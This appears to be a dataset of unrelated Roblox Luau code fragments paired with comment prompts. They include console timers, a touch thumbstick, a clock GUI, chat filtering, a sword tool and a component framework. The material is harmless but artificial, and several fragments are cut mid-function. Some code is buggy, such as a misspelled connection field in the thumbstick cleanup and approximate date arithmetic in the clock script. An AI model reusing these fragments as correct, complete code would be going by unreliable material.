self._timers[label] = DateTime.now()
end
function CustomConsole.timeEnd(self: CustomConsolePrivate, label_: string?)
local label: string = if label_ ~= nil then label_ else "default"
local startTime = self._timers[label]
if Boolean.toJSBoolean(startTime) then
local endTime = DateTime.now()
local time = endTime.UnixTimestampMillis - startTime.UnixTimestampMillis
self:_log("time", format("%s: %s", label, formatTime(time)))
self._timers[label] = nil
end
end
function CustomConsole.timeLog(self: CustomConsolePrivate, label_: string?, ...: any)
local label: string = if label_ ~= nil then label_ else "default"
local startTime = self._timers[label]
if Boolean.toJSBoolean(startTime) then
local endTime = DateTime.now()
local time = endTime.UnixTimestampMillis - startTime.UnixTimestampMillis
self:_log("time", format("%s: %s", label, formatTime(time), ...))
end
end
function CustomConsole.warn(self: CustomConsolePrivate, firstArg: unknown, ...: any)
self:_logError("warn", format(firstArg, ...))
end
function CustomConsole:getBuffer()
return nil
end
exports.default = CustomConsole
return exports
|
--Right lean
|
R6LeftLegRightLean = .3
R6RightLegRightLean = .55
R6LeftArmRightLean = .7
R6RightArmRightLean = .3
R6TorsoRightLean = .3
|
-- Was called OnMoveTouchEnded in previous version
|
function DynamicThumbstick:OnInputEnded()
self.moveTouchObject = nil
self.moveVector = ZERO_VECTOR3
self:FadeThumbstick(false)
self.thumbstickFrame.Active = true
end
function DynamicThumbstick:FadeThumbstick(visible)
if not visible and self.moveTouchObject then
return
end
if self.isFirstTouch then return end
if self.startImageFadeTween then
self.startImageFadeTween:Cancel()
end
if self.endImageFadeTween then
self.endImageFadeTween:Cancel()
end
for i = 1, #self.middleImages do
if self. middleImageFadeTweens[i] then
self.middleImageFadeTweens[i]:Cancel()
end
end
if visible then
self.startImageFadeTween = TweenService:Create(self.startImage, ThumbstickFadeTweenInfo, { ImageTransparency = 0 })
self.startImageFadeTween:Play()
self.endImageFadeTween = TweenService:Create(self.endImage, ThumbstickFadeTweenInfo, { ImageTransparency = 0.2 })
self.endImageFadeTween:Play()
for i = 1, #self.middleImages do
self.middleImageFadeTweens[i] = TweenService:Create(self.middleImages[i], ThumbstickFadeTweenInfo, { ImageTransparency = MIDDLE_TRANSPARENCIES[i] })
self.middleImageFadeTweens[i]:Play()
end
else
self.startImageFadeTween = TweenService:Create(self.startImage, ThumbstickFadeTweenInfo, { ImageTransparency = 1 })
self.startImageFadeTween:Play()
self.endImageFadeTween = TweenService:Create(self.endImage, ThumbstickFadeTweenInfo, { ImageTransparency = 1 })
self.endImageFadeTween:Play()
for i = 1, #self.middleImages do
self.middleImageFadeTweens[i] = TweenService:Create(self.middleImages[i], ThumbstickFadeTweenInfo, { ImageTransparency = 1 })
self.middleImageFadeTweens[i]:Play()
end
end
end
function DynamicThumbstick:FadeThumbstickFrame(fadeDuration, fadeRatio)
self.fadeInAndOutHalfDuration = fadeDuration * 0.5
self.fadeInAndOutBalance = fadeRatio
self.tweenInAlphaStart = tick()
end
function DynamicThumbstick:Create(parentFrame)
if self.thumbstickFrame then
self.thumbstickFrame:Destroy()
self.thumbstickFrame = nil
if self.onTouchMovedConn then
self.onTouchMovedConn:Disconnect()
self.onTouchMovedConn = nil
end
if self.onTouchEndedConn then
self.onTouchEndedCon:Disconnect()
self.onTouchEndedCon = nil
end
if self.onRenderSteppedConn then
self.onRenderSteppedConn:Disconnect()
self.onRenderSteppedConn = nil
end
if self.onTouchActivateConn then
self.onTouchActivateConn:Disconnect()
self.onTouchActivateConn = nil
end
end
local ThumbstickSize = 45
local ThumbstickRingSize = 20
local MiddleSize = 10
local MiddleSpacing = MiddleSize + 4
local RadiusOfDeadZone = 2
local RadiusOfMaxSpeed = 20
local screenSize = parentFrame.AbsoluteSize
local isBigScreen = math.min(screenSize.x, screenSize.y) > 500
if isBigScreen then
ThumbstickSize = ThumbstickSize * 2
ThumbstickRingSize = ThumbstickRingSize * 2
MiddleSize = MiddleSize * 2
MiddleSpacing = MiddleSpacing * 2
RadiusOfDeadZone = RadiusOfDeadZone * 2
RadiusOfMaxSpeed = RadiusOfMaxSpeed * 2
end
local function layoutThumbstickFrame(portraitMode)
if portraitMode then
self.thumbstickFrame.Size = UDim2.new(1, 0, 0.4, 0)
self.thumbstickFrame.Position = UDim2.new(0, 0, 0.6, 0)
else
self.thumbstickFrame.Size = UDim2.new(0.4, 0, 2/3, 0)
self.thumbstickFrame.Position = UDim2.new(0, 0, 1/3, 0)
end
end
self.thumbstickFrame = Instance.new("TextButton")
self.thumbstickFrame.Text = ""
self.thumbstickFrame.Name = "DynamicThumbstickFrame"
self.thumbstickFrame.Visible = false
self.thumbstickFrame.BackgroundTransparency = 1.0
self.thumbstickFrame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
layoutThumbstickFrame(false)
self.startImage = Instance.new("ImageLabel")
self.startImage.Name = "ThumbstickStart"
self.startImage.Visible = true
self.startImage.BackgroundTransparency = 1
self.startImage.Image = TOUCH_CONTROLS_SHEET
self.startImage.ImageRectOffset = Vector2.new(1,1)
self.startImage.ImageRectSize = Vector2.new(144, 144)
self.startImage.ImageColor3 = Color3.new(0, 0, 0)
self.startImage.AnchorPoint = Vector2.new(0.5, 0.5)
self.startImage.Position = UDim2.new(0, ThumbstickRingSize * 3.3, 1, -ThumbstickRingSize * 2.8)
self.startImage.Size = UDim2.new(0, ThumbstickRingSize * 3.7, 0, ThumbstickRingSize * 3.7)
self.startImage.ZIndex = 10
self.startImage.Parent = self.thumbstickFrame
self.endImage = Instance.new("ImageLabel")
self.endImage.Name = "ThumbstickEnd"
self.endImage.Visible = true
self.endImage.BackgroundTransparency = 1
self.endImage.Image = TOUCH_CONTROLS_SHEET
self.endImage.ImageRectOffset = Vector2.new(1,1)
self.endImage.ImageRectSize = Vector2.new(144, 144)
self.endImage.AnchorPoint = Vector2.new(0.5, 0.5)
self.endImage.Position = self.startImage.Position
self.endImage.Size = UDim2.new(0, ThumbstickSize * 0.8, 0, ThumbstickSize * 0.8)
self.endImage.ZIndex = 10
self.endImage.Parent = self.thumbstickFrame
for i = 1, NUM_MIDDLE_IMAGES do
self.middleImages[i] = Instance.new("ImageLabel")
self.middleImages[i].Name = "ThumbstickMiddle"
self.middleImages[i].Visible = false
self.middleImages[i].BackgroundTransparency = 1
self.middleImages[i].Image = TOUCH_CONTROLS_SHEET
self.middleImages[i].ImageRectOffset = Vector2.new(1,1)
self.middleImages[i].ImageRectSize = Vector2.new(144, 144)
self.middleImages[i].ImageTransparency = MIDDLE_TRANSPARENCIES[i]
self.middleImages[i].AnchorPoint = Vector2.new(0.5, 0.5)
self.middleImages[i].ZIndex = 9
self.middleImages[i].Parent = self.thumbstickFrame
end
local CameraChangedConn = nil
local function onCurrentCameraChanged()
if CameraChangedConn then
CameraChangedConn:Disconnect()
CameraChangedConn = nil
end
local newCamera = workspace.CurrentCamera
if newCamera then
local function onViewportSizeChanged()
local size = newCamera.ViewportSize
local portraitMode = size.X < size.Y
layoutThumbstickFrame(portraitMode)
end
CameraChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(onViewportSizeChanged)
onViewportSizeChanged()
end
end
workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(onCurrentCameraChanged)
if workspace.CurrentCamera then
onCurrentCameraChanged()
end
self.moveTouchStartPosition = nil
self.startImageFadeTween = nil
self.endImageFadeTween = nil
self.middleImageFadeTweens = {}
local function doMove(direction)
local currentMoveVector = direction
-- Scaled Radial Dead Zone
local inputAxisMagnitude = currentMoveVector.magnitude
if inputAxisMagnitude < RadiusOfDeadZone then
currentMoveVector = Vector3.new()
else
currentMoveVector = currentMoveVector.unit*(1 - math.max(0, (RadiusOfMaxSpeed - currentMoveVector.magnitude)/RadiusOfMaxSpeed))
currentMoveVector = Vector3.new(currentMoveVector.x, 0, currentMoveVector.y)
end
self.moveVector = currentMoveVector
end
local function layoutMiddleImages(startPos, endPos)
local startDist = (ThumbstickSize / 2) + MiddleSize
local vector = endPos - startPos
local distAvailable = vector.magnitude - (ThumbstickRingSize / 2) - MiddleSize
local direction = vector.unit
local distNeeded = MiddleSpacing * NUM_MIDDLE_IMAGES
local spacing = MiddleSpacing
if distNeeded < distAvailable then
spacing = distAvailable / NUM_MIDDLE_IMAGES
end
for i = 1, NUM_MIDDLE_IMAGES do
local image = self.middleImages[i]
local distWithout = startDist + (spacing * (i - 2))
local currentDist = startDist + (spacing * (i - 1))
if distWithout < distAvailable then
local pos = endPos - direction * currentDist
local exposedFraction = math.clamp(1 - ((currentDist - distAvailable) / spacing), 0, 1)
image.Visible = true
image.Position = UDim2.new(0, pos.X, 0, pos.Y)
image.Size = UDim2.new(0, MiddleSize * exposedFraction, 0, MiddleSize * exposedFraction)
else
image.Visible = false
end
end
end
local function moveStick(pos)
local startPos = Vector2.new(self.moveTouchStartPosition.X, self.moveTouchStartPosition.Y) - self.thumbstickFrame.AbsolutePosition
local endPos = Vector2.new(pos.X, pos.Y) - self.thumbstickFrame.AbsolutePosition
self.endImage.Position = UDim2.new(0, endPos.X, 0, endPos.Y)
layoutMiddleImages(startPos, endPos)
end
-- input connections
self.thumbstickFrame.InputBegan:Connect(function(inputObject)
if inputObject.UserInputType ~= Enum.UserInputType.Touch or inputObject.UserInputState ~= Enum.UserInputState.Begin then
return
end
if self.moveTouchObject then
return
end
if self.isFirstTouch then
self.isFirstTouch = false
local tweenInfo = TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.Out,0,false,0)
TweenService:Create(self.startImage, tweenInfo, {Size = UDim2.new(0, 0, 0, 0)}):Play()
TweenService:Create(self.endImage, tweenInfo, {Size = UDim2.new(0, ThumbstickSize, 0, ThumbstickSize), ImageColor3 = Color3.new(0,0,0)}):Play()
end
self.moveTouchObject = inputObject
self.moveTouchStartPosition = inputObject.Position
local startPosVec2 = Vector2.new(inputObject.Position.X - self.thumbstickFrame.AbsolutePosition.X, inputObject.Position.Y - self.thumbstickFrame.AbsolutePosition.Y)
self.startImage.Visible = true
self.startImage.Position = UDim2.new(0, startPosVec2.X, 0, startPosVec2.Y)
self.endImage.Visible = true
self.endImage.Position = self.startImage.Position
self:FadeThumbstick(true)
moveStick(inputObject.Position)
if FADE_IN_OUT_BACKGROUND then
local playerGui = Players.LocalPlayer:FindFirstChildOfClass("PlayerGui")
local hasFadedBackgroundInOrientation = false
-- only fade in/out the background once per orientation
if playerGui then
if playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.LandscapeLeft or
playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.LandscapeRight then
hasFadedBackgroundInOrientation = self.hasFadedBackgroundInLandscape
self.hasFadedBackgroundInLandscape = true
elseif playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.Portrait then
hasFadedBackgroundInOrientation = self.hasFadedBackgroundInPortrait
self.hasFadedBackgroundInPortrait = true
end
end
if not hasFadedBackgroundInOrientation then
self.fadeInAndOutHalfDuration = FADE_IN_OUT_HALF_DURATION_DEFAULT
self.fadeInAndOutBalance = FADE_IN_OUT_BALANCE_DEFAULT
self.tweenInAlphaStart = tick()
end
end
end)
self.onTouchMovedConn = UserInputService.TouchMoved:connect(function(inputObject)
if inputObject == self.moveTouchObject then
self.thumbstickFrame.Active = false
local direction = Vector2.new(inputObject.Position.x - self.moveTouchStartPosition.x, inputObject.Position.y - self.moveTouchStartPosition.y)
if math.abs(direction.x) > 0 or math.abs(direction.y) > 0 then
doMove(direction)
moveStick(inputObject.Position)
end
end
end)
self.onRenderSteppedConn = RunService.RenderStepped:Connect(function()
if self.tweenInAlphaStart ~= nil then
local delta = tick() - self.tweenInAlphaStart
local fadeInTime = (self.fadeInAndOutHalfDuration * 2 * self.fadeInAndOutBalance)
self.thumbstickFrame.BackgroundTransparency = 1 - FADE_IN_OUT_MAX_ALPHA*math.min(delta/fadeInTime, 1)
if delta > fadeInTime then
self.tweenOutAlphaStart = tick()
self.tweenInAlphaStart = nil
end
elseif self.tweenOutAlphaStart ~= nil then
local delta = tick() - self.tweenOutAlphaStart
local fadeOutTime = (self.fadeInAndOutHalfDuration * 2) - (self.fadeInAndOutHalfDuration * 2 * self.fadeInAndOutBalance)
self.thumbstickFrame.BackgroundTransparency = 1 - FADE_IN_OUT_MAX_ALPHA + FADE_IN_OUT_MAX_ALPHA*math.min(delta/fadeOutTime, 1)
if delta > fadeOutTime then
self.tweenOutAlphaStart = nil
end
end
end)
self.onTouchEndedConn = UserInputService.TouchEnded:connect(function(inputObject)
if inputObject == self.moveTouchObject then
self:OnInputEnded()
end
end)
GuiService.MenuOpened:connect(function()
if self.moveTouchObject then
self:OnInputEnded()
end
end)
local playerGui = Players.LocalPlayer:FindFirstChildOfClass("PlayerGui")
while not playerGui do
Players.LocalPlayer.ChildAdded:wait()
playerGui = Players.LocalPlayer:FindFirstChildOfClass("PlayerGui")
end
local playerGuiChangedConn = nil
local originalScreenOrientationWasLandscape = playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.LandscapeLeft or
playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.LandscapeRight
local function longShowBackground()
self.fadeInAndOutHalfDuration = 2.5
self.fadeInAndOutBalance = 0.05
self.tweenInAlphaStart = tick()
end
playerGuiChangedConn = playerGui.Changed:connect(function(prop)
if prop == "CurrentScreenOrientation" then
if (originalScreenOrientationWasLandscape and playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.Portrait) or
(not originalScreenOrientationWasLandscape and playerGui.CurrentScreenOrientation ~= Enum.ScreenOrientation.Portrait) then
playerGuiChangedConn:disconnect()
longShowBackground()
if originalScreenOrientationWasLandscape then
self.hasFadedBackgroundInPortrait = true
else
self.hasFadedBackgroundInLandscape = true
end
end
end
end)
self.thumbstickFrame.Parent = parentFrame
spawn(function()
if game:IsLoaded() then
longShowBackground()
else
game.Loaded:wait()
longShowBackground()
end
end)
end
return DynamicThumbstick
|
-- {"MONTH", TOAL DAYS TO YEAR, DAYS} <- Format
|
{"January",31,31};
{"February",59,28};
{"March",90,31};
{"April",120,30};
{"May",151,31};
{"June",181,30};
{"July",212,31};
{"August",243,31};
{"September",273,30};
{"October",304,31};
{"November",334,30};
{"December",365,31};
}
year = math.floor(1970+(t/31579200))
if ((year%4) == 0) then -- Check for leap year
months[2][3] = 29
for i,v in pairs(months) do
if (i ~= 1) then
v[2] = (v[2]+1)
end
end
end
day = math.floor(((t/86400)%365.25)+1) -- Get current day of the year. Starts at 0, so 1 is added (365.25 is the average # of days in a year due to leap year)
for i,m in pairs(months) do
if ((m[2]-m[3]) <= day) then -- Get month based on day
month = i
end
end
local m = months[month]
day = (day+m[3]-m[2]) -- Get day of the month
year,day = tostring(year),tostring(day)
local c,s = ", "," " -- Comma, space
Date = (months[month][1] .. s .. day .. c .. year)
end
function getTime()
local sec = math.floor((t%60)) -- Sec, Min, and Hour equations I actually got off of Google. Everything else was written by me
local min = math.floor((t/60)%60)
local hour = math.floor((t/3600)%24)
sec = tostring((sec < 10 and "0" or "") .. sec)
min = tostring((min < 10 and "0" or "") .. min)
tag = (Type == 0 and (hour < 12 and "AM" or "PM") or "")
hour = ((Type == 1 and hour < 10 and "0" or "") .. tostring(Type == 0 and (hour == 0 and 12 or hour > 12 and (hour-12) or hour) or hour)) -- Ternary operators FTW. Helps get rid of 'if then' stuff. Actually learned this off of Java programming: z = (x == y ? "Yes" : "No")
local c,s = ":",(Type == 0 and " " or "") -- Colon, (space if 12 hr clock)
Time = (hour .. c .. min .. (Sec and c .. sec or "") .. s .. tag)
end
function display(start)
if (start) then
getDate()
getTime()
delay(0,function()
for i = 1,0,-0.05 do
script.Parent.Time.TextTransparency,script.Parent.Date.TextTransparency = i,i
wait()
end
script.Parent.Time.TextTransparency,script.Parent.Date.TextTransparency = 0,0
end)
end
script.Parent.Time.Text = Time -- ORLY?
script.Parent.Date.Text = Date
end
function buttons()
-- This is all the GUI handling stuff
local h12 = script.Parent.Hr12
local h24 = script.Parent.Hr24
local s = script.Parent.Sec
h12.MouseButton1Click:connect(function()
Type = 0
h12.Style,h24.Style = 1,2
h12.TextTransparency,h24.TextTransparency = 0,0.5
end)
h24.MouseButton1Click:connect(function()
Type = 1
h24.Style,h12.Style = 1,2
h24.TextTransparency,h12.TextTransparency = 0,0.5
end)
s.MouseButton1Click:connect(function()
Sec = (not Sec) -- Fastest way to switch a boolean in lua
s.Style = (Sec and 1 or 2)
s.TextTransparency = (Sec and 0 or 0.5)
end)
end
function start()
buttons()
display(true)
while (true) do
-- Simplicity FTW:
t = tick()
getDate()
getTime()
display()
wait()
end
end
start()
|
-- For those who prefer distinct functions
|
function ControlModule:Disable()
self.controlsEnabled = false
self:UpdateActiveControlModuleEnabled()
end
|
--// Return values: bool filterSuccess, bool resultIsFilterObject, variant result
|
function methods:InternalApplyRobloxFilterNewAPI(speakerName, message) --// USES FFLAG
local alwaysRunFilter = false
local runFilter = RunService:IsServer() -- and not RunService:IsStudio()
if (alwaysRunFilter or runFilter) then
local fromSpeaker = self:GetSpeaker(speakerName)
if fromSpeaker == nil then
return false, nil, nil
end
local fromPlayerObj = fromSpeaker:GetPlayer()
if fromPlayerObj == nil then
return true, false, message
end
local success, filterResult = pcall(function()
local ts = game:GetService("TextService")
local result = ts:FilterStringAsync(message, fromPlayerObj.UserId)
return result
end)
if (success) then
return true, true, filterResult
else
warn("Error filtering message:", message)
self:InternalNotifyFilterIssue()
return false, nil, nil
end
else
--// Simulate filtering latency.
wait(0.2)
return true, false, message
end
return nil
end
function methods:InternalDoMessageFilter(speakerName, messageObj, channel)
local filtersIterator = self.FilterMessageFunctions:GetIterator()
for funcId, func, priority in filtersIterator do
local success, errorMessage = pcall(function()
func(speakerName, messageObj, channel)
end)
if not success then
warn(string.format("DoMessageFilter Function '%s' failed for reason: %s", funcId, errorMessage))
end
end
end
function methods:InternalDoProcessCommands(speakerName, message, channel)
local commandsIterator = self.ProcessCommandsFunctions:GetIterator()
for funcId, func, priority in commandsIterator do
local success, returnValue = pcall(function()
local ret = func(speakerName, message, channel)
if type(ret) ~= "boolean" then
error("Process command functions must return a bool")
end
return ret
end)
if not success then
warn(string.format("DoProcessCommands Function '%s' failed for reason: %s", funcId, returnValue))
elseif returnValue then
return true
end
end
return false
end
function methods:InternalGetUniqueMessageId()
local id = self.MessageIdCounter
self.MessageIdCounter = id + 1
return id
end
function methods:InternalAddSpeakerWithPlayerObject(speakerName, playerObj, fireSpeakerAdded)
if (self.Speakers[speakerName:lower()]) then
error("Speaker \"" .. speakerName .. "\" already exists!")
end
local speaker = Speaker.new(self, speakerName)
speaker:InternalAssignPlayerObject(playerObj)
self.Speakers[speakerName:lower()] = speaker
if fireSpeakerAdded then
local success, err = pcall(function() self.eSpeakerAdded:Fire(speakerName) end)
if not success and err then
print("Error adding speaker: " ..err)
end
end
return speaker
end
function methods:InternalFireSpeakerAdded(speakerName)
local success, err = pcall(function() self.eSpeakerAdded:Fire(speakerName) end)
if not success and err then
print("Error firing speaker added: " ..err)
end
end
|
-- Get the correct sound from our sound list.
|
local function getSoundProperties()
for name, data in pairs(IDList) do
if name == material then
oldWalkSpeed = humanoid.WalkSpeed
id = data.id
volume = data.volume
if isrunning.Value == false then
if humanoid.WalkSpeed >= 40 then
playbackSpeed = 2.2
else
playbackSpeed = (humanoid.WalkSpeed / 14) * data.speed
end
else
if humanoid.WalkSpeed >= 40 then
playbackSpeed = 2.2
else
playbackSpeed = (humanoid.WalkSpeed / 22) * data.speed
end
end
break
end
end
end
|
-- Janitor
-- Stephen Leitnick
-- October 16, 2021
|
local FN_MARKER = newproxy()
local RunService = game:GetService("RunService")
local function GetObjectCleanupFunction(object, cleanupMethod)
local t = typeof(object)
if t == "function" then
return FN_MARKER
end
if cleanupMethod then
return cleanupMethod
end
if t == "Instance" then
return "Destroy"
elseif t == "RBXScriptConnection" then
return "Disconnect"
elseif t == "table" then
if typeof(object.Destroy) == "function" then
return "Destroy"
elseif typeof(object.Disconnect) == "function" then
return "Disconnect"
end
end
error("Failed to get cleanup function for object " .. t .. ": " .. tostring(object))
end
|
-------- OMG HAX
|
r = game:service("RunService")
local damage = 5
local slash_damage = 22
sword = script.Parent.Handle
Tool = script.Parent
black = BrickColor.new("Really black")
local SlashSound = Instance.new("Sound")
SlashSound.SoundId = "http://www.roblox.com/asset/?id=10730819"
SlashSound.Parent = sword
SlashSound.Volume = 1
local UnsheathSound = Instance.new("Sound")
UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
UnsheathSound.Parent = sword
UnsheathSound.Volume = 1
function blow(hit)
local humanoid = hit.Parent:findFirstChild("Humanoid")
local player = game.Players:FindFirstChild(hit.Parent.Name)
local vCharacter = Tool.Parent
local vPlayer = game.Players:playerFromCharacter(vCharacter)
if player and vPlayer then
local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character
local myteam = vPlayer.TeamColor
local theirteam = player.TeamColor
if humanoid~=nil and humanoid ~= hum and hum ~= nil then
-- final check, make sure sword is in-hand
local right_arm = vCharacter:FindFirstChild("Right Arm") or vCharacter:FindFirstChild("RightHand")
if (right_arm ~= nil) then
local joint = right_arm:FindFirstChild("RightGrip")
if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then
if player and player ~= vPlayer and not vPlayer.Neutral and not player.Neutral and (myteam ~= theirteam or (myteam == black and theirteam == black)) then
tagHumanoid(humanoid, vPlayer)
humanoid:TakeDamage(damage)
wait(1)
untagHumanoid(humanoid)
end
end
end
end
end
end
function tagHumanoid(humanoid, player)
local creator_tag = Instance.new("ObjectValue")
creator_tag.Value = player
creator_tag.Name = "creator"
creator_tag.Parent = humanoid
end
function untagHumanoid(humanoid)
if humanoid ~= nil then
local tag = humanoid:findFirstChild("creator")
if tag ~= nil then
tag.Parent = nil
end
end
end
function attack()
damage = slash_damage
SlashSound:play()
local anim = Instance.new("StringValue")
anim.Name = "toolanim"
anim.Value = "Slash"
anim.Parent = Tool
end
function swordUp()
Tool.GripForward = Vector3.new(-1,0,0)
Tool.GripRight = Vector3.new(0,1,0)
Tool.GripUp = Vector3.new(0,0,1)
end
function swordOut()
Tool.GripForward = Vector3.new(0,0,1)
Tool.GripRight = Vector3.new(0,-1,0)
Tool.GripUp = Vector3.new(-1,0,0)
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
attack()
wait(1)
Tool.Enabled = true
end
function onEquipped()
UnsheathSound:play()
end
script.Parent.Activated:connect(onActivated)
script.Parent.Equipped:connect(onEquipped)
connection = sword.Touched:connect(blow)
|
------------------------------------------------------------------------
-- dump Lua function as precompiled chunk
-- (lua_State* L, const Proto* f, lua_Writer w, void* data, int strip)
-- * w, data are created from make_setS, make_setF
------------------------------------------------------------------------
|
function luaU:dump(L, f, w, data, strip)
local D = {} -- DumpState
D.L = L
D.write = w
D.data = data
D.strip = strip
D.status = 0
self:DumpHeader(D)
self:DumpFunction(f, nil, D)
-- added: for a chunk writer writing to a file, this final call with
-- nil data is to indicate to the writer to close the file
D.write(nil, D.data)
return D.status
end
return luaU
|
-- Components will only work on instances parented under these descendants:
|
local DESCENDANT_WHITELIST = {workspace, Players}
local Component = {}
Component.__index = Component
local componentsByTag = {}
local componentByTagCreated = Signal.new()
local componentByTagDestroyed = Signal.new()
local function IsDescendantOfWhitelist(instance)
for _,v in ipairs(DESCENDANT_WHITELIST) do
if (instance:IsDescendantOf(v)) then
return true
end
end
return false
end
function Component.FromTag(tag)
return componentsByTag[tag]
end
function Component.ObserveFromTag(tag, observer)
local janitor = Janitor.new()
local observeJanitor = Janitor.new()
janitor:Add(observeJanitor)
local function OnCreated(component)
if (component._tag == tag) then
observer(component, observeJanitor)
end
end
local function OnDestroyed(component)
if (component._tag == tag) then
observeJanitor:Cleanup()
end
end
do
local component = Component.FromTag(tag)
if (component) then
task.spawn(OnCreated, component)
end
end
janitor:Add(componentByTagCreated:Connect(OnCreated))
janitor:Add(componentByTagDestroyed:Connect(OnDestroyed))
return janitor
end
function Component.Auto(folder)
local function Setup(moduleScript)
local m = require(moduleScript)
assert(type(m) == "table", "Expected table for component")
assert(type(m.Tag) == "string", "Expected .Tag property")
Component.new(m.Tag, m, m.RenderPriority, m.RequiredComponents)
end
for _,v in ipairs(folder:GetDescendants()) do
if (v:IsA("ModuleScript")) then
Setup(v)
end
end
folder.DescendantAdded:Connect(function(v)
if (v:IsA("ModuleScript")) then
Setup(v)
end
end)
end
function Component.new(tag, class, renderPriority, requireComponents)
assert(type(tag) == "string", "Argument #1 (tag) should be a string; got " .. type(tag))
assert(type(class) == "table", "Argument #2 (class) should be a table; got " .. type(class))
assert(type(class.new) == "function", "Class must contain a .new constructor function")
assert(type(class.Destroy) == "function", "Class must contain a :Destroy function")
assert(componentsByTag[tag] == nil, "Component already bound to this tag")
local self = setmetatable({}, Component)
self._janitor = Janitor.new()
self._lifecycleJanitor = Janitor.new()
self._tag = tag
self._class = class
self._objects = {}
self._instancesToObjects = {}
self._hasHeartbeatUpdate = (type(class.HeartbeatUpdate) == "function")
self._hasSteppedUpdate = (type(class.SteppedUpdate) == "function")
self._hasRenderUpdate = (type(class.RenderUpdate) == "function")
self._hasInit = (type(class.Init) == "function")
self._hasDeinit = (type(class.Deinit) == "function")
self._renderPriority = renderPriority or Enum.RenderPriority.Last.Value
self._requireComponents = requireComponents or {}
self._lifecycle = false
self._nextId = 0
self.Added = Signal.new(self._janitor)
self.Removed = Signal.new(self._janitor)
local observeJanitor = Janitor.new()
self._janitor:Add(observeJanitor)
local function ObserveTag()
local function HasRequiredComponents(instance)
for _,reqComp in ipairs(self._requireComponents) do
local comp = Component.FromTag(reqComp)
if (comp:GetFromInstance(instance) == nil) then
return false
end
end
return true
end
observeJanitor:Add(CollectionService:GetInstanceAddedSignal(tag):Connect(function(instance)
if (IsDescendantOfWhitelist(instance) and HasRequiredComponents(instance)) then
self:_instanceAdded(instance)
end
end))
observeJanitor:Add(CollectionService:GetInstanceRemovedSignal(tag):Connect(function(instance)
self:_instanceRemoved(instance)
end))
for _,reqComp in ipairs(self._requireComponents) do
local comp = Component.FromTag(reqComp)
observeJanitor:Add(comp.Added:Connect(function(obj)
if (CollectionService:HasTag(obj.Instance, tag) and HasRequiredComponents(obj.Instance)) then
self:_instanceAdded(obj.Instance)
end
end))
observeJanitor:Add(comp.Removed:Connect(function(obj)
if (CollectionService:HasTag(obj.Instance, tag)) then
self:_instanceRemoved(obj.Instance)
end
end))
end
observeJanitor:Add(function()
self:_stopLifecycle()
for instance in pairs(self._instancesToObjects) do
self:_instanceRemoved(instance)
end
end)
do
local b = Instance.new("BindableEvent")
for _,instance in ipairs(CollectionService:GetTagged(tag)) do
if (IsDescendantOfWhitelist(instance) and HasRequiredComponents(instance)) then
local c = b.Event:Connect(function()
self:_instanceAdded(instance)
end)
b:Fire()
c:Disconnect()
end
end
b:Destroy()
end
end
if (#self._requireComponents == 0) then
ObserveTag()
else
-- Only observe tag when all required components are available:
local tagsReady = {}
local function Check()
for _,ready in pairs(tagsReady) do
if (not ready) then
return
end
end
ObserveTag()
end
local function Cleanup()
observeJanitor:Cleanup()
end
for _,requiredComponent in ipairs(self._requireComponents) do
tagsReady[requiredComponent] = false
self._janitor:Add(Component.ObserveFromTag(requiredComponent, function(_component, janitor)
tagsReady[requiredComponent] = true
Check()
janitor:Add(function()
tagsReady[requiredComponent] = false
Cleanup()
end)
end))
end
end
componentsByTag[tag] = self
componentByTagCreated:Fire(self)
self._janitor:Add(function()
componentsByTag[tag] = nil
componentByTagDestroyed:Fire(self)
end)
return self
end
function Component:_startHeartbeatUpdate()
local all = self._objects
self._heartbeatUpdate = RunService.Heartbeat:Connect(function(dt)
for _,v in ipairs(all) do
v:HeartbeatUpdate(dt)
end
end)
self._lifecycleJanitor:Add(self._heartbeatUpdate)
end
function Component:_startSteppedUpdate()
local all = self._objects
self._steppedUpdate = RunService.Stepped:Connect(function(_, dt)
for _,v in ipairs(all) do
v:SteppedUpdate(dt)
end
end)
self._lifecycleJanitor:Add(self._steppedUpdate)
end
function Component:_startRenderUpdate()
local all = self._objects
self._renderName = (self._tag .. "RenderUpdate")
RunService:BindToRenderStep(self._renderName, self._renderPriority, function(dt)
for _,v in ipairs(all) do
v:RenderUpdate(dt)
end
end)
self._lifecycleJanitor:Add(function()
RunService:UnbindFromRenderStep(self._renderName)
end)
end
function Component:_startLifecycle()
self._lifecycle = true
if (self._hasHeartbeatUpdate) then
self:_startHeartbeatUpdate()
end
if (self._hasSteppedUpdate) then
self:_startSteppedUpdate()
end
if (self._hasRenderUpdate) then
self:_startRenderUpdate()
end
end
function Component:_stopLifecycle()
self._lifecycle = false
self._lifecycleJanitor:Cleanup()
end
function Component:_instanceAdded(instance)
if (self._instancesToObjects[instance]) then return end
if (not self._lifecycle) then
self:_startLifecycle()
end
self._nextId = (self._nextId + 1)
local id = (self._tag .. tostring(self._nextId))
if (IS_SERVER) then
instance:SetAttribute(ATTRIBUTE_ID_NAME, id)
end
local obj = self._class.new(instance)
obj.Instance = instance
obj._id = id
self._instancesToObjects[instance] = obj
table.insert(self._objects, obj)
if (self._hasInit) then
task.defer(function()
if (self._instancesToObjects[instance] ~= obj) then return end
obj:Init()
end)
end
self.Added:Fire(obj)
return obj
end
function Component:_instanceRemoved(instance)
if (not self._instancesToObjects[instance]) then return end
self._instancesToObjects[instance] = nil
for i,obj in ipairs(self._objects) do
if (obj.Instance == instance) then
if (self._hasDeinit) then
obj:Deinit()
end
if (IS_SERVER and instance.Parent and instance:GetAttribute(ATTRIBUTE_ID_NAME) ~= nil) then
instance:SetAttribute(ATTRIBUTE_ID_NAME, nil)
end
self.Removed:Fire(obj)
obj:Destroy()
obj._destroyed = true
